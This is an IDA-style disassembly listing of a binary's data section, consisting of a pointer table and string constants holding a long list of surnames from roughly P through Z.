		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EEF0o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EEECo
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EEE8o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EEE4o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042EEE0o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042EEDCo
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042EED8o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042EED4o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042EED0o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EECCo
aYu		db 'Yu',0               ; DATA XREF: ___:0042EEC8o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EEC4o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EEC0o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EEBCo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EEB8o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EEB4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EEB0o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EEACo
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EEA8o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EEA4o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EEA0o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EE9Co
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EE98o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EE94o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EE90o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EE8Co
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EE88o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EE84o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EE80o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EE7Co
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EE78o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EE74o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EE70o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EE6Co
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EE68o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EE64o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EE60o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EE5Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EE58o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EE54o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EE50o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EE4Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EE48o
aViens		db 'Viens',0            ; DATA XREF: ___:0042EE44o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EE40o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EE3Co
aViano		db 'Viano',0            ; DATA XREF: ___:0042EE38o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EE34o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EE30o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EE2Co
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EE28o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EE24o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EE20o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EE1Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EE18o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EE14o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EE10o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EE0Co
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EE08o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EE04o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EE00o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EDFCo
		align 10h
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EDF8o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EDF4o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EDF0o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EDECo
		align 10h
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EDE8o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EDE4o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EDE0o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EDDCo
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EDD8o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EDD4o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EDD0o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EDCCo
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EDC8o
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EDC4o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042EDC0o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EDBCo
		align 10h
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EDB8o
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EDB4o
		align 10h
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EDB0o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EDACo
		align 10h
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EDA8o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EDA4o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EDA0o
		align 10h
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042ED9Co
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042ED98o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042ED94o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042ED90o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042ED8Co
		align 10h
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042ED88o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042ED84o
		align 10h
aTurano		db 'Turano',0           ; DATA XREF: ___:0042ED80o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042ED7Co
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042ED78o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042ED74o
		align 10h
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042ED70o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042ED6Co
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042ED68o
aTruss		db 'Truss',0            ; DATA XREF: ___:0042ED64o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042ED60o
		align 10h
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042ED5Co
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042ED58o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042ED54o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042ED50o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042ED4Co
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:0042ED48o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042ED44o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:0042ED40o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042ED3Co
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042ED38o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042ED34o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042ED30o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042ED2Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042ED28o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042ED24o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042ED20o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042ED1Co
aTill		db 'Till',0             ; DATA XREF: ___:0042ED18o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042ED14o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042ED10o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042ED0Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042ED08o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042ED04o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042ED00o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042ECFCo
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042ECF8o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042ECF4o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042ECF0o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042ECECo
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042ECE8o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:0042ECE4o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042ECE0o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042ECDCo
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042ECD8o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042ECD4o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042ECD0o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042ECCCo
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042ECC8o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042ECC4o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042ECC0o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042ECBCo
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042ECB8o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042ECB4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042ECB0o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042ECACo
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042ECA8o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042ECA4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042ECA0o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042EC9Co
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042EC98o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042EC94o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042EC90o
aStott		db 'Stott',0            ; DATA XREF: ___:0042EC8Co
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042EC88o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042EC84o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042EC80o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042EC7Co
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042EC78o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: ___:0042EC74o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042EC70o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042EC6Co
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042EC68o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042EC64o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042EC60o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042EC5Co
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042EC58o
aStatlender	db 'Statlender',0
		align 4
aStates		db 'States',0
		align 4
aStassinopolus	db 'Stassinopolus',0
		align 4
aStang		db 'Stang',0
		align 4
aStam		db 'Stam',0
		align 4
aStalvey	db 'Stalvey',0
aStmartin	db 'StMartin',0
		align 10h
aSpinrad	db 'Spinrad',0
aSpiliotis	db 'Spiliotis',0
		align 4
aSpiegelhalter	db 'Spiegelhalter',0
		align 4
aSpicer		db 'Spicer',0
		align 4
aSperber	db 'Sperber',0
aSpence		db 'Spence',0
		align 4
aSpeizer	db 'Speizer',0
aSpaulding	db 'Spaulding',0
		align 10h
aSparrow	db 'Sparrow',0
aSpanier	db 'Spanier',0
aSoultanian	db 'Soultanian',0
		align 4
aSoule		db 'Soule',0
		align 4
aSoukup		db 'Soukup',0
		align 4
aSottak		db 'Sottak',0
		align 4
aSorg		db 'Sorg',0
		align 4
aSorabella	db 'Sorabella',0
		align 4
aSommariva	db 'Sommariva',0
		align 4
aSomers		db 'Somers',0
		align 4
aSolon		db 'Solon',0
		align 4
aSocolow	db 'Socolow',0
aSnodgrass	db 'Snodgrass',0
		align 4
aSniffen	db 'Sniffen',0
aSmilow		db 'Smilow',0
		align 4
aSlowe		db 'Slowe',0
		align 10h
aSloan		db 'Sloan',0
		align 4
aSkoda		db 'Skoda',0
		align 10h
aSkerry		db 'Skerry',0
		align 4
aSkane		db 'Skane',0
		align 10h
aSites		db 'Sites',0
		align 4
aSirilli	db 'Sirilli',0
aSinsabaugh	db 'Sinsabaugh',0
		align 4
aSilvetti	db 'Silvetti',0
		align 4
aSilverman	db 'Silverman',0
		align 4
aSigna		db 'Signa',0
		align 4
aSigini		db 'Sigini',0
		align 4
aSigalot	db 'Sigalot',0
aSiesto		db 'Siesto',0
		align 4
aShimon		db 'Shimon',0
		align 4
aShibata	db 'Shibata',0
aShia		db 'Shia',0
		align 4
aShesko		db 'Shesko',0
		align 4
aShepstone	db 'Shepstone',0
		align 10h
aSheppard	db 'Sheppard',0
		align 4
aShepherd	db 'Shepherd',0
		align 4
aSheats		db 'Sheats',0
		align 10h
aShea		db 'Shea',0
		align 4
aShavelson	db 'Shavelson',0
		align 4
aShatrov	db 'Shatrov',0
aShar		db 'Shar',0
		align 4
aShanley	db 'Shanley',0
aShankland	db 'Shankland',0
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042EB69o
		align 10h
aShaikh		db 'Shaikh',0
		align 4
aSeyfert	db 'Seyfert',0
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042EB5Do
		align 4
aSeterdahl	db 'Seterdahl',0
		align 4
aSennett	db 'Sennett',0
aSen		db 'Sen',0
aSelvage	db 'Selvage',0
aSekler		db 'Sekler',0
		align 10h
aSegal		db 'Segal',0
		align 4
aSeeber		db 'Seeber',0
		align 10h
aSeaton		db 'Seaton',0
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:loc_42EB39o
aScovel		db 'Scovel',0
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042EB34o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042EB30o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042EB2Co
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042EB28o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042EB24o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042EB20o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042EB1Co
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042EB18o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042EB14o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042EB10o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042EB0Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042EB08o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042EB04o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042EB00o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042EAFCo
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042EAF8o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042EAF4o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042EAF0o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042EAECo
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042EAE8o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042EAE4o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042EAE0o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042EADCo
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042EAD8o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042EAD4o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042EAD0o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042EACCo
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042EAC8o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042EAC4o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042EAC0o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042EABCo
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042EAB8o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042EAB4o
aRush		db 'Rush',0             ; DATA XREF: ___:0042EAB0o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042EAACo
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042EAA8o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042EAA4o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042EAA0o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042EA9Co
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042EA98o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042EA94o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042EA90o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042EA8Co
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042EA88o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042EA84o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042EA80o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: ___:0042EA7Co
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042EA78o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042EA74o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042EA70o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042EA6Co
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042EA68o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042EA64o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042EA60o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042EA5Co
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042EA58o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042EA54o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042EA50o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042EA4Co
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042EA48o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042EA44o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042EA40o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042EA3Co
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042EA38o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042EA34o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042EA30o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042EA2Co
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042EA28o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042EA24o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042EA20o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042EA1Co
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042EA18o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042EA14o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042EA10o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042EA0Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042EA08o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042EA04o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042EA00o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E9FCo
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E9F8o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E9F4o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E9F0o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E9ECo
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E9E8o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E9E4o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E9E0o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E9DCo
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E9D8o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E9D4o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E9D0o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E9CCo
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E9C8o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E9C4o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E9C0o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E9BCo
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E9B8o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E9B4o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E9B0o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E9ACo
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E9A8o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E9A4o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E9A0o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E99Co
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E998o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E994o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E990o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E98Co
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E988o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E984o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E980o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E97Co
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E978o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E974o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E970o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E96Co
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E968o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E964o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E960o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E95Co
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E958o
		align 4
